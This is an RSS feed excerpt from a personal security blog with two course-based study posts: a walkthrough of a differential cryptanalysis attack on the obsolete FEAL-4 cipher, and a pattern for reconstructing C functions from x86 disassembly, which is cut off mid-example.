<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Security on Nansen Li's Blog
李楠森的博客</title><link>https://nansenli.com/categories/security/</link><description>Recent content in Security on Nansen Li's Blog
李楠森的博客</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>Nansen Li 🌈 （李楠森）</copyright><lastBuildDate>Wed, 01 Jan 2025 13:15:04 +0000</lastBuildDate><atom:link href="https://nansenli.com/categories/security/index.xml" rel="self" type="application/rss+xml"/><item><title>Study of Differential Attack on FEAL-4</title><link>https://nansenli.com/post/2025/01/feal-4/</link><pubDate>Wed, 01 Jan 2025 13:15:04 +0000</pubDate><guid>https://nansenli.com/post/2025/01/feal-4/</guid><description>&lt;blockquote>
&lt;p>This article is based on my studies in a cybersecurity course at DCU (Dublin City University). Please do not use it for any other purpose.&lt;/p>
&lt;/blockquote>
&lt;p>This article primarily introduces how to perform differential cryptanalysis on the traditional block cipher algorithm FEAL-4, and demonstrates the attack process and key implementation details. The text also includes some experimental data and attack results for interested readers to reference or reproduce.&lt;/p>
&lt;hr>
&lt;h2 id="two-important-images">Two Important Images
&lt;/h2>&lt;p>Before delving into the analysis, here are two images closely related to FEAL-4 to provide an intuitive understanding of differential propagation and the overall encryption process.&lt;/p>
&lt;ol>
&lt;li>
&lt;p>&lt;strong>Differential Propagation Diagram&lt;/strong>&lt;br>
The figure below shows how plaintext differences (in XOR form) propagate through the encryption rounds in FEAL-4 and ultimately reflect in the ciphertext.&lt;/p>
&lt;p>&lt;img src="https://nansenli.com/img/rescued/d9f08a73ad65.png"
loading="lazy"
>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>FEAL-4 Workflow Diagram&lt;/strong>&lt;br>
The following figure illustrates the overall encryption framework of FEAL-4, including the left and right blocks of the plaintext, the injection of round subkeys, and the usage flow of the F function.&lt;/p>
&lt;p>&lt;img src="https://nansenli.com/img/rescued/73e0b1400fd1.png"
loading="lazy"
>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="characteristics-of-the-f-function">Characteristics of the F Function
&lt;/h2>&lt;p>The round function of FEAL-4 (i.e., the F function) can be viewed as some form of random permutation on a 32-bit input. In differential analysis, we do not need the specific implementation of F, but rather focus on its two key differential properties:&lt;/p>
&lt;ul>
&lt;li>If $X \oplus Y = 0$, then $F(X) = F(Y)$.&lt;/li>
&lt;li>If $X \oplus Y = 0x80800000$, then $F(X) \oplus F(Y) = 0x02000000$.&lt;/li>
&lt;/ul>
&lt;p>With these two conclusions, we can infer the output behavior under specific differential inputs in subsequent analyses, thereby aiding in locating the subkeys.&lt;/p>
&lt;hr>
&lt;h2 id="detailed-analysis-of-differential-paths">Detailed Analysis of Differential Paths
&lt;/h2>&lt;p>Suppose we choose a pair of special plaintexts $P_0$ and $P_1$ such that:
$$
P_0 \oplus P_1 = 0x8080000080800000 = P^{\prime}.
$$
This specific differential vector helps simplify the differential computations in several rounds of FEAL-4 outputs.&lt;/p>
&lt;h3 id="1-derivation-of-initial-round-differences">1. Derivation of Initial Round Differences
&lt;/h3>&lt;ul>
&lt;li>
&lt;p>Let $(L0_0, R0_0)$ denote the left and right blocks of $P_0$ (similarly, $(L0_1, R0_1)$ denotes those of $P_1$).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>After the XOR operation in the first round:
$$
L1_0 \oplus L1_1 = (L0_0 \oplus K4) \oplus (L0_1 \oplus K4)
= L0_0 \oplus L0_1
= 0x80800000.
$$
Similarly, the differential of the right half can be derived.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Furthermore, due to the &amp;ldquo;additional XOR round&amp;rdquo; during encryption, we obtain:
$$
R2_0 \oplus R2_1
= (R1_0 \oplus L1_0) \oplus (R1_1 \oplus L1_1)
= 0x80800000 \oplus 0x80800000
= 0.
$$
This implies that in subsequent computations, the differences can be merged in a simpler form.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="2-backward-differential-calculation">2. Backward Differential Calculation
&lt;/h3>&lt;p>After obtaining the plaintext pair $(P_0, P_1)$ and the corresponding ciphertext pair $(C_0, C_1)$, further backward derivations can be made. Let the ciphertext be denoted as $(L, R)$, then:&lt;/p>
&lt;ul>
&lt;li>Compute $C^{\prime} = C_0 \oplus C_1$, obtaining $(L^{\prime}, R^{\prime})$.&lt;/li>
&lt;li>Based on the known differential properties, gradually restore intermediate variables such as $X^{\prime}$, $Y^{\prime}$, $Z^{\prime}$, etc., in the last round.&lt;/li>
&lt;li>Using these results, attacks or verifications on the subkeys can be performed.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="attacking-k3">Attacking K3
&lt;/h2>&lt;p>In differential analysis, one often starts with attacking an intermediate round subkey, such as $K_3$. The specific steps are as follows:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>Select Plaintext Pairs:&lt;/strong> I generated 12 pairs of random plaintexts satisfying&lt;br>
$$
P_0 \oplus P_1 = 0x8080000080800000
$$&lt;/li>
&lt;li>&lt;strong>Encrypt and Extract Differences:&lt;/strong> Encrypt the above plaintext pairs to obtain the corresponding ciphertext pairs; combine with the differential path to derive intermediate values $Y_0$, $Y_1$, $Z^{\prime}$, etc.&lt;/li>
&lt;li>&lt;strong>Traverse $K_3$:&lt;/strong>&lt;br>
$$
Z^{\prime} = Z_0 \oplus Z_1 = F(Y_0 \oplus K_3) \oplus F(Y_1 \oplus K_3).
$$&lt;br>
Any candidate $K_3$ that satisfies the differential equation $= 0x02000000$ is retained.&lt;/li>
&lt;/ol>
&lt;p>Using this method, I successfully obtained four candidate subkeys:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">cfa38976, cfa309f6, 4f238976, 4f2309f6
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>An example command to execute the above process is:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk3 -file=K3.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This implementation is consistent with the method I introduced on &lt;a class="link" href="https://www.theamazingking.com" target="_blank" rel="noopener"
>www.theamazingking.com&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="attacking-k2">Attacking K2
&lt;/h2>&lt;p>After obtaining several candidates for $K_3$, we can proceed to deduce $K_2$. The core equation is:
$$
X&amp;rsquo; = X_0 \oplus X_1
= F(U_0 \oplus K_2) \oplus F(U_1 \oplus K_2),
$$
where $U$ comes from the previous round operations (including further computations on $Y$, $Z$, etc.). Similarly:&lt;/p>
&lt;ol>
&lt;li>Generate plaintext pairs that satisfy the differential condition
$$
P_0 \oplus P_1 = 0x0000000080800000.
$$&lt;/li>
&lt;li>Capture ciphertext differences after encryption, and by traversing all possible $K_2$ values, check if the differential constraint $=0x02000000$ is satisfied.&lt;/li>
&lt;li>Example command:
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk2 -file=K2.txt -k3=cfa38976,cfa309f6,4f238976,4f2309f6
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>The final output example is as follows:
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Candidate K2: 8b722e41 (K3: cfa38976)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Candidate K2: 8b72aec1 (K3: cfa38976)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Candidate K2: 89722e43 (K3: 4f2309f6)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Candidate K2: 8972aec3 (K3: 4f2309f6)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="attacking-k1">Attacking K1
&lt;/h2>&lt;p>Similarly, attacking $K_1$ can be done following the previous process.&lt;br>
To ensure the differential path consistently presents the expected results, I generated 12 plaintext pairs satisfying&lt;br>
$$
P_0 \oplus P_1 = 0x0000000002000000
$$&lt;br>
and verified their encryption outputs.&lt;/p>
&lt;p>Example command:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk1 -file=K1.txt -k3k2=&amp;#34;cfa38976,8b722e41; cfa38976,8b72aec1; ...&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This allows you to input all previously obtained candidate combinations of $K_3$ and $K_2$ at once, and finally find the corresponding $K_1$ candidates.&lt;/p>
&lt;hr>
&lt;h2 id="attacking-k0-k4-k5">Attacking K0, K4, K5
&lt;/h2>&lt;p>Once $K_3$, $K_2$, and $K_1$ are all obtained, $K_0$, $K_4$, and $K_5$ required for the last round can be deduced.&lt;br>
Let the final encrypted left and right parts be $L_0$, $R_0$. The corresponding plaintext blocks are $PL$, $PR$. Then:&lt;/p>
&lt;ul>
&lt;li>$PL \oplus K_4 = LR_0$&lt;/li>
&lt;li>$PR \oplus K_5 = RR_0$&lt;/li>
&lt;li>$RR_0 \oplus LR_0 = R_0$&lt;/li>
&lt;li>$f(R_0 \oplus K_0) \oplus L_0 = LR_0$&lt;/li>
&lt;/ul>
&lt;p>By enumerating all possible $K_0$, the corresponding $K_4$ and $K_5$ can be solved through the above equations. Then, use other plaintext-ciphertext pairs to cross-validate correctness. If all are satisfied, the correct final key set is obtained.&lt;/p>
&lt;p>Example command:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk0k4k5 -k3k2k1=&amp;#34;...&amp;#34; -file=K1.txt -file2=K1_p.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;hr>
&lt;h2 id="implementation-optimization-and-verification">Implementation, Optimization, and Verification
&lt;/h2>&lt;h3 id="1-automated-generation-and-parallel-computing">1. Automated Generation and Parallel Computing
&lt;/h3>&lt;ul>
&lt;li>&lt;strong>Automatically Generate Random Plaintext Pairs:&lt;/strong> Control the XOR differences in the code in advance to batch output plaintext files that meet the requirements (e.g., &lt;code>K3_p.txt&lt;/code>, &lt;code>K2_p.txt&lt;/code>, &lt;code>K1_p.txt&lt;/code>).&lt;/li>
&lt;li>&lt;strong>Parallelized Search:&lt;/strong> Use Go&amp;rsquo;s Goroutines to start 10 parallel tasks, maximizing CPU resource utilization on a 10-core Mac.&lt;/li>
&lt;li>&lt;strong>Progress Bars and Visualization:&lt;/strong> Use the &lt;code>progressbar&lt;/code> library to display search progress in real-time, making the experimental process more intuitive.&lt;/li>
&lt;/ul>
&lt;h3 id="2-verification-methods">2. Verification Methods
&lt;/h3>&lt;ul>
&lt;li>
&lt;p>&lt;strong>Local Custom Key Testing&lt;/strong>&lt;br>
First, select a set of known $K_0$–$K_5$ (e.g., &lt;code>0x00000001, 0x00000002, 0x00000004, 0x00000008, 0x00000010, 0x00000020&lt;/code>), encrypt the previously generated plaintext pairs, and repeat the differential analysis process to see if this set of keys can be matched among the results.&lt;br>
Experiments confirmed the ability to correctly restore this set of test keys, thereby verifying the accuracy of the code logic.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Specific Plaintext-Ciphertext Pair Testing&lt;/strong>&lt;br>
Select a plaintext &lt;code>1234567890abcdef&lt;/code> and the ciphertext &lt;code>f43ae3eeb56e2bbf&lt;/code> generated in the Einstein Zone, and verify that each of the 256 candidate $K_0$–$K_5$ sets can reproduce this encryption mapping, further confirming the attack process is correct.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="final-results">Final Results
&lt;/h2>&lt;p>All deduced $K_0$–$K_5$ are stored in &lt;code>final_result.txt&lt;/code>. After deduplication, they include the following ranges:&lt;/p>
&lt;h3 id="possible-values-for-k0">Possible Values for K0
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">890c2148 890ca1c8 098c2148 098ca1c8 ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0b8c214a 0b8ca1ca 8b0c214a 8b0ca1ca
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k1">Possible Values for K1
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">471f077e 471f87fe c79f077e c79f87fc ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">451f077c 451f87fc c59f077c c59f87fc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k2">Possible Values for K2
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">8b722e41 8b72aec1 8b722e43 8b72aec3 ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">89722e43 8972aec3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k3">Possible Values for K3
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">cfa38976 cfa309f6 4f238976 4f2309f6
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k4">Possible Values for K4
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">89eb0024 89eb0026 8beb0024 8beb0026
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k5">Possible Values for K5
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">b85e6bc0 b85e6bc2 ba5e6bc0 ba5e6bc2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>With the aid of differential analysis, we ultimately obtained a set of candidate subkeys. Compared to modern block ciphers (such as AES), FEAL-4 has fewer rounds and a simpler structure, making it very suitable for demonstrating the concept of differential analysis in teaching and research.&lt;/p>
&lt;hr>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>This article detailed the complete process of performing a differential attack on FEAL-4, including designing differential paths, generating plaintext pairs, attacking intermediate subkeys ($K_3$, $K_2$, $K_1$), and finally reverse-solving for $K_0$, $K_4$, $K_5$. It also introduced several optimizations and verification methods during the code implementation process.&lt;br>
The FEAL-4 algorithm, due to its fewer rounds and simpler structure, provides convenience for differential analysis. However, for more secure and complex modern block algorithms, the same analytical approach remains crucial. This case study aims to inspire learners and researchers in cryptography. If you have any questions or improvement suggestions, feel free to discuss and exchange ideas in the comments section!&lt;/p></description></item><item><title>How to Quickly Solve Disassembly Problems</title><link>https://nansenli.com/post/2024/11/disassembly/</link><pubDate>Sun, 03 Nov 2024 14:21:43 +0000</pubDate><guid>https://nansenli.com/post/2024/11/disassembly/</guid><description>&lt;blockquote>
&lt;p>This article is based on my studies in a cybersecurity course at DCU (Dublin City University). Please do not use it for any other purpose.&lt;/p>
&lt;/blockquote>
&lt;p>For DCU&amp;rsquo;s Secure Programming course, the disassembly problems have a certain pattern. Using a fixed approach to solving them can help achieve quick results.&lt;/p>
&lt;h1 id="prerequisite-skills">Prerequisite Skills
&lt;/h1>&lt;ol>
&lt;li>Familiarity with assembly commands Assembly Instructions&lt;/li>
&lt;li>Understanding &lt;code>%&lt;/code> and &lt;code>$&lt;/code> for registers and immediate values $ and % Registers and Immediate Values&lt;/li>
&lt;li>Knowledge of direct and indirect addressing Direct and Indirect Addressing&lt;/li>
&lt;li>Familiarity with one example C Code to Assembly Example&lt;/li>
&lt;/ol>
&lt;h1 id="approach-to-solving">Approach to Solving
&lt;/h1>&lt;ol>
&lt;li>&lt;a class="link" href="#identify-the-number-of-parameters" >Identify the number of parameters&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#identify-the-number-of-local-variables" >Identify the number of local variables&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#recognize-the-loop-body" >Recognize the loop body&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#analyze-remaining-code-snippets" >Analyze remaining code snippets&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#identify-the-return-value" >Identify the return value&lt;/a>&lt;/li>
&lt;/ol>
&lt;h2 id="identify-the-number-of-parameters">Identify the Number of Parameters
&lt;/h2>&lt;p>The position of &lt;code>ebp&lt;/code> is the saved frame pointer, and &lt;code>ebp+4&lt;/code> is the return address. Since the problems typically assume all parameters are of type &lt;code>int&lt;/code> or &lt;code>int*&lt;/code>, &lt;code>ebp+8&lt;/code>, &lt;code>ebp+c&lt;/code>, and &lt;code>ebp+10&lt;/code> correspond to the first, second, and third parameters, respectively.&lt;/p>
&lt;p>By quickly scanning the code for occurrences of &lt;code>0x__(%ebp)&lt;/code> and identifying the largest offset, the number of parameters can be determined as &lt;code>(offset - 4) // 4&lt;/code>.&lt;/p>
&lt;p>For example:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">push %ebp &amp;lt;foo+0&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov %esp, %ebp &amp;lt;foo+1&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sub $0x4, %esp &amp;lt;foo+3&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov 0x8(%ebp), %eax &amp;lt;foo+6&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov %eax, -0x4(%ebp) &amp;lt;foo+9&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov -0x4(%ebp), %eax &amp;lt;foo+12&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cmp 0x10(%ebp), %eax &amp;lt;foo+15&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">jge &amp;lt;foo+32&amp;gt; &amp;lt;foo+18&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov 0xc(%ebp), %eax &amp;lt;foo+20&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">incl (%eax) &amp;lt;foo+23&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lea -0x4(%ebp), %eax &amp;lt;foo+25&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">incl (%eax) &amp;lt;foo+28&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">jmp &amp;lt;foo+12&amp;gt; &amp;lt;foo+30&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov $0x0, %eax &amp;lt;foo+32&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">leave &amp;lt;foo+37&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ret &amp;lt;foo+38&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Here, &lt;code>0x10(%ebp)&lt;/code> exists, so the parameter count is &lt;code>(16 - 4) / 4 = 3&lt;/code>.&lt;/p>
&lt;p>We can construct the framework of the code as:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;code>a&lt;/code>, &lt;code>b&lt;/code>, and &lt;code>c&lt;/code> correspond to &lt;code>ebp+8&lt;/code>, &lt;code>ebp+c&lt;/code>, and &lt;code>ebp+10&lt;/code>, respectively. Note that parameters are pushed onto the stack in reverse order, so the closer to &lt;code>ebp&lt;/code>, the earlier the parameter appears in the list.&lt;/p>
&lt;p>For now, assume all are &lt;code>int&lt;/code> types. Adjust later if inconsistencies are found.&lt;/p>
&lt;h2 id="identify-the-number-of-local-variables">Identify the Number of Local Variables
&lt;/h2>&lt;p>The number of local variables is determined by the third line of the code: &lt;code>sub $0x4, %esp&lt;/code>. The amount subtracted corresponds to the length of the allocated local variables.&lt;/p>
&lt;p>In this example, &lt;code>sub $0x4, %esp&lt;/code> indicates 4 bytes, so there is one local variable. Assume it is an &lt;code>int&lt;/code> and name it &lt;code>i&lt;/code>.&lt;/p>
&lt;p>The code expands to:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="recognize-the-loop-body">Recognize the Loop Body
&lt;/h2>&lt;p>Loops are typically &lt;code>while&lt;/code> or &lt;code>for&lt;/code> loops. To identify:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>&lt;strong>Judgment Entry:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Look for a comparison instruction (e.g., &lt;code>cmp&lt;/code>) followed by a jump instruction (e.g., &lt;code>jge&lt;/code> or &lt;code>jle&lt;/code>).&lt;/li>
&lt;li>These indicate the start of a condition check.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Loop Body:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Unconditional &lt;code>jmp&lt;/code> instructions signify loops. The jump target is the beginning of the condition check.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Condition:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>The judgment condition combines the comparison and preceding instructions into a complete condition.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h3 id="example">Example:
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
